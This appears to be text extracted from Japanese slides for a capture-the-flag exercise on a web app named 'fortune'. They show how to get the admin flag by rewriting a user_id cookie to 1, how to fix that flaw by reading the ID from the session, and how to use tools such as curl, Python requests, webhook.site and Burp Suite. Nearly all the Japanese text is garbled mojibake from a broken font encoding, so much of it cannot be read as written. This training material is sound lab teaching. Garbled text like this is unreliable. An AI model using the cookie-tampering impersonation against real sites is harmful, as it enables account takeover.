docker docker-entrypoint.sh src docker-compose.yml resources 9ࣗͷνʔϜ൪߸ʹஔ͖͑Δ ͱಉҰ໊ͷσΟϨΫτϦʹͦͷʹؔ࿈ͨ͠ ϑΝΠϧ͕֨ೲ͞Ε͍ͯΔ ࠓճͷͷ߹ʮGPSUVOFʯ ✔ MTͰ͜ͷΑ͏ͳϑΝΠϧϦετ͕औಘͰ͖Ε0,
ΞϓϦέʔγϣϯͱιʔεɾίʔυ͔Β ੬ऑੑΛ୳ͯ͠'MBHΛ֫ಘ͠Α͏ʢ߈ܸฤʣ
'MBHʹ͍ͭͯ ü'MBHͷܗࣜ͝ͱʹࢦఆ͕ͳ͍ݶΓɺDUG3&%\<=Y=Y&> ^ ʢ\^ද ࣔՄೳͳจࣈҎ্ͷ"4$**จࣈʣͰ͢ üEVNNZ\ʜ^ͱ͍ͬͨμϛʔͷ'MBH͕දࣔ͞ΕΔ͜ͱ͕͋Γ·͕͢ɺຊ Ͱͳ͍͜ͱʹҙ͍ͯͩ͘͠͞ ü͞ΕͨιʔείʔυதͰɺຊͷ'MBH͕ϚεΫ͞Ε͍ͯ·͢ ü'MBHૹ৴ϑΥʔϜ͔ΒԿճૹ৴ͯ͠ϙΠϯτ͕ݮΔ͜ͱ͋Γ·ͤΜ͕ɺ
ਪଌ͕ࠔͳจࣈྻʹͳ͍ͬͯ·͢ üօ͞Μͷਐ۩߹Λ֬ೝ͍ͨ͠ͷͰɺ'MBHͳΔ͘ཷΊࠐ·ͣʹఏग़Λ͓ئ ͍͠·͢
੬ऑੑʹ͍ͭͯ ü࣍ͷ੬ऑੑࠓճͷ߈ܸରͰ͋Γ·ͤΜ • )551Λར༻ͯ͠௨৴͍ͯ͠Δ • $PPLJFʹ4FDVSFଐੑ͕༩͞Ε͍ͯͳ͍ • %P4߈ܸ͕Մೳ EPTΛআ͘
• ϩάΠϯࢼߦճʹ੍ݶ͕ͳ͍
νϡʔτϦΞϧʢ߈ܸฤʣɿ'MBHͷॴͷ֬ೝ ·ͣιʔείʔυத͔Βϑϥά͕දࣔ͞ΕΔॴΛ୳͢ %PDLFS$PNQPTFͷઃఆϑΝΠϧʹ '-"(ڥม͕ఆٛ͞Ε͍ͯΔ͜ͱΛ֬ೝ GPSUVOFEPDLFSDPNQPTFZNM %#ͷॳظσʔλΛ࡞͢ΔॲཧͰ VTFSTςʔϒϧʹ͓͍ͯBENJOϢʔβʔΛ࡞͠ qBHΧϥϜʹ'-"(ڥมΛొ͍ͯ͠Δ͜ͱΛ֬ೝ GPSUVOFTSDEBUBCBTFTFFEFST6TFS4FFEFSQIQ
10*/5جຊతʹͲͷڥมͰϑϥάΛఆ͍ٛͯ͠ΔͷͰ Կ͔Β࢝ΊͯΑ͍͔͔Βͳ͍࣌ϑϥά͔Βٯࢉ͢Δͷ͕͓͢͢Ίɻ VTFSTςʔϒϧʹBENJOϢʔβʔΛ࡞ qBHΧϥϜʹ'-"(ڥมͷ༰Λొ '-"(ڥม͕ఆٛ ͜Εμϛʔͷϑϥάɻ࣮ࡍͷαʔόʔʹ ຊͷϑϥά͕ೖ͍ͬͯΔ %PDLFS$PNQPTFͷઃఆϑΝΠϧ %#ͷॳظσʔλΛ࡞͢Δؔ
νϡʔτϦΞϧʢ߈ܸฤʣɿ'MBHͷॴͷ֬ೝ ϚΠϖʔδը໘ͷ)5.-ςϯϓϨʔτʹ BENJOͷϝʔϧΞυϨεͷ߹ʹϑϥάදࣔ͢ΔՕॴΛ֬ೝ GPSUVOFTSDSFTPVSDFTWJFXTVTFSCMBEFQIQ ϚΠϖʔδը໘ͷ)5.-ςϯϓϨʔτ BENJOϢʔβʔͷ߹ʹϑϥάΛදࣔ ˠ BENJOͷϚΠϖʔδը໘ΛදࣔͰ͖Ε ϑϥάΛऔಘͰ͖ͦ͏ʂ
·ͣιʔείʔυத͔Βϑϥά͕දࣔ͞ΕΔॴΛ୳͢
νϡʔτϦΞϧʢ߈ܸฤʣɿ੬ऑੑͷൃݟ ϑϥά͕දࣔ͞ΕΔՕॴ͕ॲཧ͞ΕΔաఔʹ੬ऑੑ͕ͳ͍͔ߟ͑Δ 10*/5ո͍͠ը໘"1*͕͋Δ߹ɺ੬ऑੑͷಛఆͷͨΊ ͦͷΤϯυϙΠϯτͷ࣮Λਂ۷Γ͢Δͷ͕͓͢͢Ί ϚΠϖʔδը໘ͷΤϯυϙΠϯτͰ͋Δʮʯͷ࣮͕ 6TFS$POUSPMMFSͷJOEFYؔʹ͋Δ͜ͱΛ֬ೝ GPSUVOFTSDSPVUFTXFCQIQ *OEFYؔʹ͓͍ͯɺϢʔβʔΛݕࡧ͢Δࡍʹ 6TFSͷHFU@MPHJO@VTFS@JE
ؔΛ༻͍ͯ͠Δ͜ͱΛ֬ೝ ΤϯυϙΠϯτͷϧʔςΟϯάઃఆϑΝΠϧ ΤϯυϙΠϯτͷύεͱݺͼग़ؔ͢ͷॴ͕ఆٛ 6TFS$POUSPMMFSΫϥεͷJOEFYؔ GPSUVOFTSDBQQ)UUQ$POUSPMMFST6TFS$POUSPMMFSQIQ 6TFSHFU@MPHJO@VTFS@JE ΑΓϢʔβʔ*%Λऔಘ Ϣʔβʔ*%Λͱʹͯ͠ϢʔβʔΛݕࡧ
νϡʔτϦΞϧʢ߈ܸฤʣɿ੬ऑੑͷൃݟ ϑϥά͕දࣔ͞ΕΔՕॴ͕ॲཧ͞ΕΔաఔʹ੬ऑੑ͕ͳ͍͔ߟ͑Δ HFU@MPHJO@VTFS@JE ؔʹͯ Ϣʔβʔ*%Λऔಘ͢ΔࡍʹϦΫΤετͷ$PPLJF͔Β VTFS@JEͷΛऔಘ͍ͯ͠Δ͜ͱΛ֬ೝ ΤϯυϙΠϯτͷϧʔςΟϯάઃఆϑΝΠϧ VTFS@JE ʹ$PPLJF
ͷΛೖΕ͍ͯΔ ϚΠϖʔδը໘Ͱ։͍ͨ։ൃऀπʔϧ $IFDLͰͬͨϒϥβͷ ։ൃऀλϒͰ$PPLJFΛ֬ೝ͢Δͱ VTFS@JEʹ͕ೖ͍ͬͯΔ͜ͱΛ֬ೝ VTFS@JE ʹ ʮʯͷ͕ೖ͍ͬͯΔ
νϡʔτϦΞϧʢ߈ܸฤʣɿ੬ऑੑͷൃݟ ཧऀϢʔβʔΞϓϦέʔγϣϯ%#ʹ࠷ॳʹొ͞Ε͍ͯΔϢʔβʔͳͷͰɺ ཧऀϢʔβʔͷ VTFS@JE Ͱ͋Δ͜ͱ͕༧Ͱ͖Δ ։ൃऀπʔϧ͔Β$PPLJFΛฤूͯ͠Λ̍ʹมߋ
νϡʔτϦΞϧʢ߈ܸฤʣɿ੬ऑੑͷൃݟ ϒϥβΛߋ৽ͯ͠͏ҰϦΫΤετΛૹ৴͢Δͱɾɾɾ'MBH͕දࣔ͞Εͨ
$IFDLνϡʔτϦΞϧʢ߈ܸฤʣɿϑϥάఏग़ ֫ಘͨ͠'MBHΛϑΥʔϜ͔Βఏग़͢Δ ͕৭ʹมԽͯ͠QUT֫ಘ ✔ 'PSUVOF BUUBDL ͷ෦͕ ৭ʹͳΕ0,
߈ܸʹར༻Ͱ͖ͨ੬ऑੑΛमਖ਼ͯ͠ΈΑ͏ʢޚฤʣ
मਖ਼ʹ͍ͭͯ ü੬ऑੑҎ֎ͷ෦ͷಈ࡞Ͱ͖Δ͚ͩอͬͨ··Ͱमਖ਼Λߦ͍ͬͯͩ͘͞ ü ݩ͔Βଘࡏ͢Δػೳ͕ಈ͔ͳ͍߹QUTͰ͢ üҰؾʹଟ͘ͷఏग़͕͋Δͱ֬ೝ͕େมʹͳΔͷͰɺमਖ਼ਵ࣌ఏग़ͯ͠Β͑ Δͱॿ͔Γ·͢ αϒϚϦϯઓ๏
$IFDLνϡʔτϦΞϧʢޚฤʣϩʔΧϧ্Ͱͷಈ࡞֬ೝ GPSUVOFͷͷ͋ΔσΟϨΫτϦͰɺҎԼͷ%PDLFS$PNQPTFίϚϯυΛೖྗ EPDLFSDPNQPTFVQrECVJME IUUQMPDBMIPTUʹΞΫηε͠ɺ $IFDLͱಉ༷ʹϢʔβʔొϚΠϖʔδͷද͕ࣔՄೳͳ͜ͱΛ֬ೝ αʔόʔΛϩʔΧϧڥ ࣗͷ1$্ Ͱىಈ ログイン画⾯
マイページ ✔ϚΠϖʔδͷը໘͕දࣔͰ͖Ε0,
ϩάΠϯ࣌ͷηογϣϯʹඥ͍ͮͨϢʔβʔ*%Ͱͳ͘ɺ ϦΫΤετͰઃఆͨ͠ VTFS@JE Λར༻͍ͯ͠Δͷ͕ɻ νϡʔτϦΞϧʢޚฤʣमਖ਼͖͢ͷಛఆ ʮʯʹΞΫηεͨ͠ࡍͷϦΫΤετ ϦΫΤετૹ৴࣌ͷ VTFS@JE Λ
ॻ͖͑Δ͚ͩͰɺͳΓ͢·͕͠Մೳ ˠϩάΠϯ࣌ͷηογϣϯʹඥ͍ͮͨϢʔβʔ*%Λ͏Α͏ʹ͢Δ
$IFDLνϡʔτϦΞϧʢޚฤʣίʔυͷमਖ਼ VTFS@JEΛϩάΠϯ࣌ʹηογϣϯʹอଘ͠ɺࢀর࣌ηογϣϯ͔Βऔಘ͢ΔΑ͏ʹमਖ਼͢Δɻ ۩ମతʹɺ6TFSΫϥεͷҎԼΛमਖ਼ɻ GPSUVOFTSDBQQ)UUQ$POUSPMMFST6TFS$POUSPMMFSQIQ Ϣʔβʔ*%औಘॲཧHFU@MPHJO@VTFS@JE ϩάΠϯॲཧMPHJO GPSUVOFTSDBQQ)UUQ$POUSPMMFST6TFS$POUSPMMFSQIQ
ηογϣϯ͔ΒVTFS@JEΛऔಘ͢ΔΑ͏ʹมߋ ηογϣϯʹVTFS@JEΛอଘ͢ΔΑ͏ʹมߋ Ϣʔβʔ*%औಘ࣌ʹ$PPLJF͔ΒVTFS@JEΛಡΈऔ͍ͬͯΔ GPSUVOFTSDBQQ)UUQ$POUSPMMFST6TFS$POUSPMMFSQIQ 6TFS$POUSPMMFSͰͷ6TFSMPHJO ͷݺͼग़͠ ฦΓ͕$PPLJFʹอଘ͞Ε͍ͯΔ VTFS@JEΛ$PPLJFʹอଘ͍ͯ͠Δ ✔ ্هՕॴͷίʔυ͕मਖ਼Ͱ͖ͨΒ0,
EPDLFSDPNQPTFEPXO $IFDLͰ ಈ࡞ͤͨ͞ίϯςφΛऴྃ ˞EPDLFSDPNQPTFSFTUBSUίϚϯυͰ࠶Ϗϧυ͕͞Εͳ͍ͨΊɺ ͪ͜ΒͷखॱͰ࠶ىಈ͍ͯͩ͘͠͞ $IFDLϩʔΧϧ্Ͱͷಈ࡞֬ೝϩʔΧϧ্Ͱͷಈ࡞֬ೝ EPDLFSDPNQPTFVQrECVJME ίϯςφΛ࠶ىಈ IUUQMPDBMIPTUʹΞΫηε͠ɺҎԼΛ֬ೝ
• ϢʔβʔొϚΠϖʔδͷද͕ࣔՄೳͳ͜ͱ • $PPLJFͷVTFS@JEΛม͑ͯϚΠϖʔδͷදࣔʹมԽ͕ͳ͍͜ͱ ✔ ্هՕॴͷίʔυ͕मਖ਼Ͱ͖ͨΒ0,
$IFDLνϡʔτϦΞϧʢޚฤʣमਖ਼ͷఏग़ NBJOϒϥϯνʹमਖ਼ίϛοτΛؚΊͨޙɺ4MBDLͷ֤νʔϜͷνϟϯωϧʹͯ ԼهͷΑ͏ͳϝοηʔδͰߨࢣʹ௨͍ͯͩ͘͠͞ ߨࢣ͕֬ೝޙɺείΞαʔόʔ্ͰϙΠϯτΛ༩ͯ͠ɺ݁ՌΛฦ৴͠·͢ NBJOϒϥϯνͷΈ͕࠾ରͰ͋Δ͜ͱʹҙ͍ͯͩ͘͠͞ ✔ मਖ਼Λఏग़Ͱ͖ͨΒ0,ޙߨࢣͷ࠾Λ͓͍ͪͩ͘͞
είΞαʔόʔ্Ͱͷ֫ಘϙΠϯτͷ֬ೝ 4DPSFCPBSEλϒ͔Βɺ֤νʔϜ͕֫ಘͨ͠ϙΠϯτΛ֬ೝՄೳ
Ҏ্Ͱ͜ͷޙͷԋशͷઆ໌ऴྃͰ͢ ࠷ޙʹɾɾɾ
ࠓճͷԋशͷউऀɺ ϙΠϯτΛ࠷ଟ֫͘ಘͨ͠νʔϜ
ࠓճͷԋशͷউऀɺ ϙΠϯτΛ࠷ଟ֫͘ಘͨ͠νʔϜ Ͱͳ͘ɾɾɾ
ࠓճͷԋशͷউऀɺ ϙΠϯτΛ࠷ଟ֫͘ಘͨ͠νʔϜ Ͱͳ͘ɾɾɾ Ͱ͖Δ͚ͩଟ͘ͷ͜ͱΛֶͿ͜ͱ͕Ͱ͖ͨνʔϜ Ͱ͢ʂ νʔϜͷதͰڠྗ͋ͬͯ͠ԋशΛਐΊ͍ͯͩ͘͞ ߨࢣਞ͔Βͷώϯτੵۃతʹ׆༻͍ͯͩ͘͠͞
"QQFOEJY
"QQFOEJYXFCIPPLTJUFͷ͍ํ ᶃ IUUQTXFCIPPLTJUFʹΞΫηε͢Δͱɺࣗಈతʹ63-͕ൃߦ͞ΕΔ
"QQFOEJYXFCIPPLTJUFͷ͍ํ ᶄ ൃߦ͞Εͨ63-ʹରͯ͠ϦΫΤετૹ৴ ϒϥβͰΞΫηε DVSMͰૹ৴͢Δ TDSJQUλάͰϦΫΤετૹ৴
"QQFOEJYXFCIPPLTJUFͷ͍ํ ᶅ ൃߦ͞Εͨ63-Ѽͷ)551ϦΫΤετͷதΛ֬ೝՄೳ NFUIPEͱ63- ΫΤϦύϥϝʔλ ΫΤϦύϥϝʔλ ϦΫΤετϘσΟ
"QQFOEJYDVSMίϚϯυͷ͍ํ λʔϛφϧ͔Β)551ϦΫΤετΛૹ৴Ͱ͖Δπʔϧ $PPLJFϔομΛઃఆͯ͠ϦΫΤετ DVSM)$PPLJFVTFS@JEIUUQMPDBMIPTU ϑΥʔϜͷૹ৴ DVSM91045EQBSBNQBSBNIPHFIUUQFYBNQMFDPN ϑΝΠϧΛΞοϓϩʔυ DVSM91045'VQpMF!QBUIUPTBNQMFUYU IUUQFYBNQMFDPNVQMPBE
"QQFOEJYDVSMίϚϯυͷ͍ํ QZUIPONQJQJOTUBMMSFRVFTUT 1ZUIPOͷ)551ΫϥΠΞϯτϥΠϒϥϦ JNQPSUSFRVFTUT SSFRVFTUTHFU IUUQFYBNQMFDPN QSJOU SUFYU SSFRVFTUTQPTU
IUUQFYBNQMFDPN EBUB\QBSBNWBMVF^ IFBEFST\$PPLJF IPHFGVHB^ QSJOU SUFYU
"QQFOEJY$ISPNF։ൃऀπʔϧͷ͍ํ 0QUJPO $PNNBOE *Ͱىಈ ʮιʔεʯλϒ ݱࡏͷϖʔδͷදࣔʹඞཁͳ )5.-ɺ+4ɺ$44ΛӾཡͰ͖Δ +4ͷ߹ʹߦ൪߸ΛΫϦοΫ͢ Δ͜ͱͰϒϨʔΫϙΠϯτΛઃஔ
֤ͯ͠มͷͳͲΛ֬ೝՄೳ
"QQFOEJY$ISPNF։ൃऀπʔϧͷ͍ํ ʮωοτϫʔΫʯλϒ ʮϩάΛอ࣋ʯʹνΣοΫΛ͚Δ͜ͱͰϖʔδભҠ͕ ൃੜͯ͠ɺϦΫΤετཤྺ͕আ͞Εͳ͍ ʮΞϓϦέʔγϣϯʯλϒ ද͍ࣔͯ͠Δ8FCαΠτͷ $PPLJFMPDBM4UPSBHFͷӾཡฤू͕Մೳ ϒϥβͰൃੜͨ͠ϦΫΤετ ΛӾཡͰ͖Δ
"QQFOEJY#VSQ4VJUFͷ͍ํ ʮ1SPYZʯˠ ʮ*OUFSDFQUʯ ʮ0QFOCSPXTFSʯΛΫϦοΫ͢Δ ͜ͱͰΈࠐΈϒϥβ͕ىಈ
"QQFOEJY#VSQ4VJUFͷ͍ํ ʮ*OUFSDFQUJTPOʯͷঢ়ଶʹ͢ Δͱɺىಈͨ͠ϒϥβͰൃੜ ͨ͠ϦΫΤετΛதஅͯ͠ฤू Ͱ͖Δ